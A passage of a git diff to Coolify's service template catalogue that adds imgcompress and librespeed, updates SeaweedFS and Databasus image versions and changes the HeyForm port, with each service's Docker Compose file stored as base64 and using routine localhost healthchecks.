"c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0F